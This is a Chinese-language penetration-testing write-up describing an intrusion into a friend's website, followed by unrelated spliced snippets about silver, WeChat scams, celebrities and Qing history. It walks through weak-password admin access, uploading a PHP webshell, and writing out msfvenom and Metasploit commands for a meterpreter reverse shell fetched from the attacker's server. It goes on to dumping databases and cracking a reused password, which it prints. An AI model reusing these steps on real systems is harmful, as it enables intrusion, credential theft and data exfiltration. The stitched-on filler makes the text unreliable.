声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害 *** 安全行为后果自负,与本号及原作者无关。
本文涉及知识点实操练习:DoraBox之文件上传 (通过DoraBox靶场系列闯关练习,了解文件上传漏洞的基础知识及如何进行绕过上传恶意文件。)
一、
前两天我一个朋友给我发来一个链接,说他做的站准备上线,问我能不能做下测试,既然是朋友,那肯定义不容辞,准备开始搞事情。
二、
1、先打开网站浏览一下,发现直接跳转到了登录页面,如下:
简单了尝试了下弱口令、万能密码和登录框xss,发现输入框对输入内容做了严格的过滤,非法字符一概不允许,果断放弃。
2、简单扫描了一下敏感目录,发现一个/adminx,果然这种开放注册的站都会给管理员提供一个专门的登录入口
(忽略这个 1.zip,那是我打包整站时留下的
尝试爆破,弱口令一波带走,进入后台,赶紧把喜讯报告给朋友,让他“惊喜”一下
3、寻找上传点
进到后台之后寻找上传点,发现系统设置处有修改站点logo的功能,先传个php小马试试水
我当场就惊了,你后台登录框过滤那么严格结果你这上传点就这就这??好歹做个本地校验啊,你让burpsuite面子往哪搁?
4、连接shell尝试提权
传了马之后使用蚁剑连接,首先就是查看服务器信息,这里有个小插曲,打开虚拟终端之后无论执行什么命令,返回结果都是 ret=127
应该是服务器上有什么安全软件做了过滤,使用蚁剑自带的插件进行bypass
成功绕过
不过蚁剑的这个绕过连接不太稳定,而且速度也很慢,于是琢磨着建立一个meterpreter会话尝试提权。
5、建立meterpreter 会话
在云服务器上使用msfvenom 生成一个后门:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=服务器ip LPORT=监听端口 -f elf > shell.elf
然后在服务器设置一个监听会话:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 服务器ip
set LPORT 监听端口
run
在服务器上使用python建立一个简单的http服务:
python3 -m http.server
在目标主机使用wget下载后门文件并执行,成功获取meterpreter 会话
6、尝试提权受阻
由于目标服务器运行的是 CentOS 8.0,内核版本为 Linux 4.18.0,且我获取到的仅为一个低权限的shell,想要实现提权是很难的,在明知肯定失败的情况下我还是尝试了脏牛等所有的我手上能用的提权exp,均宣告失败,也是意料之中的事。
7、柳暗花明又一村
提权无果之后,我开始翻动服务器上的各种文件,然后发现了不得了的线索,乖乖这是个站群啊
然后我从每个站的配置文件中都得到了他们对应的数据库以及数据库账号密码,看样子应该是随机生成的,不像是会用作root用户密码的通用密码,如下图:
于是我上传了一个脱裤马,获取到了所有的数据库sql文件,尝试访问所有的数据,以寻求一个可能的通用密码,没想到还真让我找到了,在几个采集站和发卡站的库中,我找到了如下相同的md5值:
md5解密后结果为:vip886.A
尝试ssh连接服务器,成功
至此渗透结束。
8、总结
此次渗透没什么技术含量,但是足以显示出弱口令以及通用密码对于安全的危害有多大,另外上传功能的处理也是很重要的,一丁点防护都没有的上传点我是真头一回见。
漏洞报告已经交给我朋友啦,没想到还有小钱钱拿,开心。
925纯银其实是指含银量92.5%的银质品。925代表银的纯度。这是银器的最高纯度,就正如999黄金的纯度一样。 因为足银过于柔软并且容易氧化,所以自从tiffany公司开创925银以来,925银就被...
微信支付越来越普及了,大家平时出去吃饭买菜都会用到微信支付,而有一些人就盯上了微信支付,如何用微信支付去骗钱。骗子的手法也是五花八门,很多年轻人都上当受骗,更别说刚学会用智能机的老年朋友。 来看...
中国娱乐网讯 蔡依林Ugly Beauty世界巡回演唱会高雄站一连两周末共举办六场,除斥巨资打造的高水准舞台、解锁五套全新绝美造型外,蔡依林亦邀请多位嘉宾前来助阵。继...
最近笔者在网上看到这样一篇文章,其题目和笔者的差不多,也是说为何雍正只在位十三年的原因,但是归结下来,原因也基本上只有一个,那就是因为雍正帝的作息时间太紧促。简单来说就是长时间的加班熬夜造成的,因此也...
微信怎么查找全部聊天记录?相信很多人都有误删重要聊天记录的经历,小编也不例外,在使用微信的过程中,一不小心左滑就。 微信聊天记录怎么查?我们已经习惯了使用微信来聊天,不仅仅是文字的沟通,还可以发送图片...
年青人如今创业好项目都挑选什么?哪些合适青年人创业,并且风险性投资小也小的创业好项目呢?青年人创业好项目有很多现阶段社会发展上面有很多的餐馆和美容院。也有网络创业。到底哪些创业好项目合适青年人创业...